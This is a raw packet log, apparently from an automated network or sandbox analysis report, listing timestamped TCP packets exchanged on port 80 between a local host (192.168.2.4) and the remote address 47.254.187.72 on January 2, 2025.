Jan 2, 2025 20:34:52.748847961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.748863935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.748874903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.748884916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.748894930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.748904943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.748912096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.748917103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.748929024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.748975992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.753633976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753686905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753688097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.753699064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753710985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753720999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753732920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753741026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.753743887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753777981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.753827095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753837109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753846884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753858089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753868103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753875017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.753879070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753890038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753897905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.753901005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.753917933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.753946066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.755656004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.755673885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.755685091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.755695105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.755705118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.755712986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.755716085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.755726099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.755737066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.755755901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.755775928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.756680012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.756690025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.756705999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.756717920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.756735086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.756738901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.756746054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.756757975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.756764889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.756768942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.756804943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826174021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826201916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826214075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826236963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826248884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826248884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826261044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826280117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826292038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826303959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826304913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826335907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826361895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826374054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826391935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826410055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826415062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826420069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826420069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826436043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826447010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826462030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826462984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826473951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826481104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826486111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826495886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826499939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826529980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826534986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826560974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826575041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826584101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826591015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826607943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826618910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826627970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826628923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826642036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826656103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826678991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826683998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826745987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826746941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826756954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826781034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826797009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826806068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826822042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826833963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826843977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826853991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826858044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826864958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826886892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826913118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826920033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826931000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826941967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.826973915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826989889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.826997042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827008009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827018023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827028990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827049971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827075005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827088118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827105045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827116013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827126026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827136993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827188015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827188015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827213049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827270031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827286959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827296972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827307940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827316046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827326059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827328920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827337980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827349901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827353954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827361107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827373981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827392101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827545881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827557087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827568054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827578068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827589989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827590942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827600002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827611923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827621937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.827637911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827663898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.827663898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.830396891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.830408096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.830429077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.830440044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.830451012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.830467939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.830471992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.830478907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.830533028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.832592010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832638025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832647085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832657099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.832658052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832669020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832679033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.832694054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832700014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.832704067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832715034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832724094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.832734108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.832765102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.835436106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.835484982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.835493088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.835522890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.835546017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.835555077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.835557938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.835570097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.835580111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.835585117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.835589886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.835618973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.835649014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840394974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840431929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840481997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840495110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840506077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840516090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840524912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840536118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840547085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840564966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840570927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840574026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840584993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840600967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840605021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840610981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840620041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840627909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840631962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840641975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840651989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840657949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840662956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840675116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.840687990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840706110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.840729952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.842320919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.842330933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.842360973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.842371941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.842382908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.842387915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.842395067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.842413902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.842434883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.842447996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.842458963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.842473030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.842498064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.843421936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843431950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843447924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843460083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843471050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843476057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.843516111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.843545914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843558073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843569994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843580961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.843589067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.843609095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.843636036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913043022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913067102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913085938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913095951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913106918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913117886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913129091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913131952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913140059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913151026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913161039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913177967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913193941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913203955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913208008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913213968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913230896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913239956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913240910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913252115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913256884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913265944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913276911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913286924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913288116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913297892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913320065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913324118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913337946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913340092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913352013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913362980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913362980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913382053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913410902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913429022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913439989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913450003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913460016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913470984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913474083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913501024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913511992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913532972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913548946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913561106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913570881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913580894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913587093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913616896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913672924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913683891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913695097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913705111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913712978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913716078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913727045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913732052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913763046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913867950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913883924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913894892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913904905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913914919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913919926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913933039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913940907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913944006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913954020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913960934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913964987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913975000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913985968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.913988113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.913995981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914016008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914026976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914028883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.914037943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914047003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914055109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.914082050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.914129972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914141893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914176941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.914264917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914275885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914285898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914298058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914308071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914309025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.914319038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914329052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.914340019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.914357901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.914387941 CET	49730	80	192.168.2.4	47.254.187.72
